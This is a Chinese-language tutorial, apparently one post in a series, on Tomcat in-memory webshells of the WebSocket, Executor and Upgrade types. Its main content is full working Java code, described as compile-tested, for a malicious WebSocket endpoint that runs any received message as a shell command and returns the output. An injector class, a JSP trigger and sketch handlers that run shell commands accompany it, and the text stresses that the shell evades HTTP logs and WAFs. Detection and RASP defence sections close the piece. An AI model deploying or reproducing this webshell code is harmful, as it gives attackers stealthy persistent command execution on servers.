WebSocket / Executor / Upgrade 内存马(偏门型)
前面几篇覆盖了 Filter / Servlet / Listener / Valve / Spring 五种主流类型。本篇补三个偏门型:
| 类型 | 原理 | 实战频率 | 说明 |
|---|---|---|---|
| WebSocket 型 | 往 WsServerContainer 注册恶意 Endpoint |
低 | 流量走 WebSocket 协议,HTTP 日志不可见 |
| Executor 型 | 替换 Tomcat 线程池的线程工厂/执行器 | 极低 | 版本差异大,命令获取困难,多为概念验证 |
| Upgrade 型 | 注册恶意 HttpUpgradeHandler / UpgradeProtocol |
极低 | 需触达协议对象,版本差异极大 |
其中 WebSocket 型代码完整可用,Executor / Upgrade 型给出可编译的示意代码并如实标注局限。
本文代码已用 Tomcat 9.0.100(javax)与 10.1.34(jakarta)真实编译验证。
本质:模拟 WsServerContainer.addEndpoint,把恶意 Endpoint + /ws 路径组装进 WebSocket 容器;流量走 WebSocket 协议,HTTP 日志不可见。整体框架见 《内存马原理总纲》。
一、WebSocket 型内存马
1.1 WebSocket 在 Tomcat 中的位置
Tomcat 内置 WebSocket 实现(org.apache.tomcat.websocket.*),启动时向每个 Web 应用的 ServletContext 注册一个 WsServerContainer 属性。WebSocket 请求走 Upgrade 流程,不产生普通 HTTP 访问日志:
HTTP Upgrade: websocket
↓
Tomcat WebSocket 容器(WsServerContainer)
↓
路径匹配已注册的 Endpoint(@ServerEndpoint("/ws"))
↓
@OnOpen / @OnMessage 回调
1.2 动态注册原理
WsServerContainer.addEndpoint(Class<?>) 是 public 方法,把带 @ServerEndpoint("/ws") 注解的类注册成 WebSocket 端点:
// ServletContext 属性名:Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE
// javax 版为 "javax.websocket.server.ServerContainer"
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
"javax.websocket.server.ServerContainer");
container.addEndpoint(EvilEndpoint.class);
隐蔽性:注册在 WebSocket 容器里,不在 Filter/Listener/Valve 的注册表;客户端通过 WebSocket 协议交互,HTTP 访问日志看不到任何痕迹。
二、WebSocket 完整代码实现
2.1 恶意 Endpoint(javax / Tomcat 8.5 / 9.x)
import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpoint;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
@ServerEndpoint("/ws")
public class EvilEndpoint {
@OnOpen
public void onOpen(Session session) {
System.out.println("[+] WebSocket connected: " + session.getId());
}
@OnMessage
public String onMessage(String message) {
try {
String[] execCmd = System.getProperty("os.name").toLowerCase().contains("windows")
? new String[]{"cmd.exe", "/c", message}
: new String[]{"/bin/sh", "-c", message};
Process process = new ProcessBuilder(execCmd).redirectErrorStream(true).start();
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
InputStream is = process.getInputStream()) {
byte[] buf = new byte[4096];
int len;
while ((len = is.read(buf)) != -1) {
out.write(buf, 0, len);
}
process.waitFor();
return out.toString(System.getProperty("sun.jnu.encoding"));
}
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
}
@OnMessage 返回 String 时,返回值会自动作为消息回发给客户端——天然实现命令回显。
2.2 注入器(javax)
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.servlet.ServletContext;
import javax.websocket.DeploymentException;
public class WebSocketMemShellInjector {
public static void inject(ServletContext servletContext) throws Exception {
// 属性名见 Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
"javax.websocket.server.ServerContainer");
if (container == null) {
throw new IllegalStateException("WsServerContainer not found");
}
try {
container.addEndpoint(EvilEndpoint.class);
System.out.println("[+] WebSocket endpoint /ws registered.");
} catch (DeploymentException e) {
// 同路径已注册即视为已注入(防重复)
System.out.println("[!] Endpoint already registered: " + e.getMessage());
}
}
}
2.3 触发注入
<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%
WebSocketMemShellInjector.inject(application);
out.println("[+] WebSocket /ws injected!");
%>
客户端使用:
# 任意 WebSocket 客户端(如 Python websocket-client / wscat)
# 连接 ws://target/你的应用上下文/ws ,发命令即执行并回显
> whoami
root
> id
uid=0(root) gid=0(root) ...
2.4 jakarta(Tomcat 10+)版本差异
// javax(Tomcat 8.5 / 9.x)
import javax.websocket.server.ServerEndpoint;
import javax.servlet.ServletContext;
container = (WsServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer");
// jakarta(Tomcat 10.x / 11.x)—— 包名 + 属性名字符串都换
import jakarta.websocket.server.ServerEndpoint;
import jakarta.servlet.ServletContext;
container = (WsServerContainer) servletContext.getAttribute("jakarta.websocket.server.ServerContainer");
三、WebSocket 代码详解
3.1 ServletContext 属性名
Tomcat 把 WsServerContainer 挂在 ServletContext 属性上,key 就是 Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE:javax 版 "javax.websocket.server.ServerContainer",jakarta 版 "jakarta.websocket.server.ServerContainer"。注入时直接按属性名取。
3.2 addEndpoint 防重复
同路径的 Endpoint 注册两次会抛 DeploymentException(”A WebSocket Endpoint with the path /ws is already registered”),所以用它做防重复判断。
3.3 流量特征
- 建立连接:
GET .../ws+Upgrade: websocket头(仅 1 条握手日志,后续均为二进制帧,常规访问日志不可见)。 - 命令交互走 WebSocket 帧,WAF 对 HTTP 参数的特征检测基本失效。
四、Executor 型(概念 + 局限)
4.1 原理
Tomcat 的 NioEndpoint 维护一个线程池(java.util.concurrent.Executor)处理请求。如果把它替换成恶意实现(或在它的线程工厂里做手脚),每次线程创建/任务执行时就能插入逻辑。AbstractEndpoint.getExecutor()/setExecutor() 是公开 API。
4.2 可编译示意代码(EvilThreadFactory)
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.atomic.AtomicInteger;
/**
* Executor 型(概念示意):恶意 ThreadFactory。
* 每次创建一个工作线程就执行一次命令(命令可换成从全局/内存读取的动态值)。
*/
public class EvilThreadFactory implements ThreadFactory {
private final AtomicInteger count = new AtomicInteger(0);
@Override
public Thread newThread(Runnable r) {
Thread t = new Thread(r, "tomcat-exec-" + count.incrementAndGet());
try {
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "id"});
} catch (Exception ignored) {
}
return t;
}
}
4.3 局限(如实说明)
- 每次线程创建都执行,命令无法按需动态下发,只能干固定的事(除非配合其它手段读命令源);
- 替换
NioEndpoint的线程工厂需要先触达 Endpoint 对象,且线程池已在运行,替换时机/生命周期处理复杂; - 不同版本 Endpoint 内部结构差异大,实战中几乎见不到 Executor 型内存马。
五、Upgrade 型(概念 + 局限)
5.1 原理
Servlet 规范提供 HttpUpgradeHandler:Servlet 调用 request.upgrade(EvilUpgradeHandler.class) 后,连接交给该 Handler 接管。Tomcat 底层还有协议级 UpgradeProtocol(AbstractHttp11Protocol.getHttpUpgradeProtocols())。如果能在运行中注册恶意 Handler / Protocol,即可接管升级后的连接。
5.2 可编译示意代码(javax)
import javax.servlet.http.HttpUpgradeHandler;
import javax.servlet.http.WebConnection;
import java.io.InputStream;
/**
* Upgrade 型(概念示意):恶意 HttpUpgradeHandler。
* 被 request.upgrade(EvilUpgradeHandler.class) 触发后接管连接。
*/
public class EvilUpgradeHandler implements HttpUpgradeHandler {
@Override
public void init(WebConnection wc) {
try {
InputStream is = wc.getInputStream();
byte[] buf = new byte[4096];
int len = is.read(buf);
if (len > 0) {
String cmd = new String(buf, 0, len).trim();
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
} catch (Exception ignored) {
}
}
@Override
public void destroy() {
}
}
5.3 局限(如实说明)
upgrade()需要先有代码执行来调用它,且通常绑定到某个 Servlet 路径上;- 协议级
UpgradeProtocol的注册点(httpUpgradeProtocolsmap)在 Tomcat 8.5 / 9 / 10 之间差异很大; - 实战价值低,多作为概念研究,检测时注意它本质仍是”替换/注册了协议处理器”。
六、检测方式
6.1 WebSocket Endpoint 枚举
// 列出已注册的 WebSocket Endpoint(有内部 map 可遍历)
WsServerContainer container = (WsServerContainer) servletContext.getAttribute(
"javax.websocket.server.ServerContainer");
// 用 JMX/Arthas 观察 WsWebSocketContainer 的 endpointPathMap 是否有非业务路径
# Arthas:看 WsServerContainer 里注册了哪些路径
vmtool --action getInstances --className org.apache.tomcat.websocket.server.WsServerContainer \
--express 'instances[0].getEndpointPathMap()' --limit 5
6.2 基线对比
把应用启动时的 WebSocket 路径 / 线程工厂 / 升级协议列表存为基线,运行时对比异常项。
6.3 流量侧
WebSocket 握手日志里出现未知路径(如 /ws),或 Upgrade 连接的客户端行为异常,可作为线索。
七、防御建议
| 层面 | 措施 | 说明 |
|---|---|---|
| RASP | Hook WsServerContainer.addEndpoint |
拦截运行时注册恶意 Endpoint |
| RASP | Hook setExecutor / HttpUpgradeHandler |
拦截线程池与升级协议替换 |
| WebSocket | 关闭不用的 WebSocket 端点 / 鉴权 | 即使注册了也无法未授权连接 |
| 事前 | 修复反序列化等 RCE 漏洞 | 切断注入入口 |
八、总结
三种偏门型内存马的地位:
| 类型 | 代码成熟度 | 实战价值 | 隐蔽性 |
|---|---|---|---|
| WebSocket | 高(完整可用) | 中低 | 高(HTTP 日志不可见) |
| Executor | 低(概念示意) | 极低 | 高 |
| Upgrade | 低(概念示意) | 极低 | 高 |
一句话:WebSocket 型在”不想留 HTTP 流量痕迹”时有价值且实现简单;Executor / Upgrade 型属于研究向,实战极少,了解原理即可,防御上仍是”修复 RCE 入口 + RASP 监控注册行为”为主。
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat Valve 内存马 Java Agent 内存马 Spring 容器内存马